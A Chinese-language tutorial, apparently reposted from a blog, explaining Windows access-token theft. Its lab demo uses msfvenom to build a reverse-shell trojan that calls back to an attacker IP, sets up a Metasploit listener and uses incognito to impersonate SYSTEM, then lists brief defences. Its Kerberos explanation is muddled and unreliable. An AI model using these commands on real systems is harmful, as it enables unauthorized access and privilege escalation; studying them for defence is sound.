令牌窃取原理及演示
作者:互联网
一、介绍
1.令牌简介
令牌是系统的临时密钥,相当于账户名和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的,它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌持续存在系统中,除非系统重新启动。
2.令牌窃取原理
在假冒令牌攻击中需要使用Kerberost协议。所以在使用假冒令牌前,先来介绍Kerberost协议。Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos的工作机制如下图所示。
客户端请求证书的过程如下所示。
(1)客户端向认证服务器(AS)发送请求,要求得到服务器的证书。
(2)AS收到请求后,将包含客户端密钥的加密证书响应发送给客户端.该证书包括服务器ticket(包括服务器密钥加密的客户机身份和一份会话密钥)和一个临时加密密钥(又称为会话密钥,session key).当然,认证服务器也会给服务器发送一份该证书,用来使服务器认证登录客户端身份.
(3)客户端将ticket传送到服务器上,服务器确认该客户端的话,便允许它登录服务器。
(4)客户端登录成功后,攻击者就可以通过入侵服务器获取客户端的令牌。
3.影响版本
只适用于2008及之前的老版本
Microsoft Windows XP Professional SP3和之前版本
Windows Server 2003 SP2和之前的版本
Windows Server 2003 x64和x64 SP2
Windows Server 2003(用于基于Itanium的系统SP2和先前版本)
Windows Server 2008 x32 x64
Windows Server 2008(用于基于Itanium的系统)
Windows Vista SP1和之前的版本
Windows Vista x64 SP1和之前的版本
二、演示
用两个虚拟机搭建环境,模拟令牌窃取流程
靶机:windows server 2008 ip:192.168.2.140
攻击机: kali-linux ip:192.168.2.137
令牌窃取攻击流程:
首先开始之前,两台虚拟机互相ping一下,确保连接通畅
注意: 若互相ping不通,请将虚拟机网络改为桥接模式,并将虚拟机的防火墙关闭
1.获取会话
(1)攻击机生成木马到桌面
msfvenom -p windows/meterpreter_reverse_tcp lhost=攻击机ip地址 lport=4444 -f exe -o /home/用户名/桌面/shell1.exe
如图,名为shell1.exe的木马已生成
(2)设置端口进行监听
启动msfconsole后输入如下命令:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
exploit
开始监听
(3)将木马shell1.exe传入靶机并双击
(4)监听到会话
查看权限,可以看到此时为管理员权限
2.利用模块
use incognito
介绍:“Incognito”,最初是一个独立的工具,现在是“Meterpeter”工具包的一部分,是一个允许在计算机上列出、检索和使用现有访问令牌的工具。
3.窃取令牌
列出令牌list_tokens -u
令牌窃取impersonate_token "NT AUTHORITY\SYSTEM"
4.提权
查看当前权限,已变为SYSTEM
三、防御措施
1.限制用户/组令牌创建权限:限制权限,使用户和组不能创建令牌。
2.帐户分层:拆分管理员权利并且只允许域管理员访问域控制器和单独的“工作站管理员”来管理工作站。
3.本地管理员限制
标签:令牌,演示,Windows,Server,密钥,服务器,窃取,客户端 来源: https://www.cnblogs.com/zhianku/p/16443069.html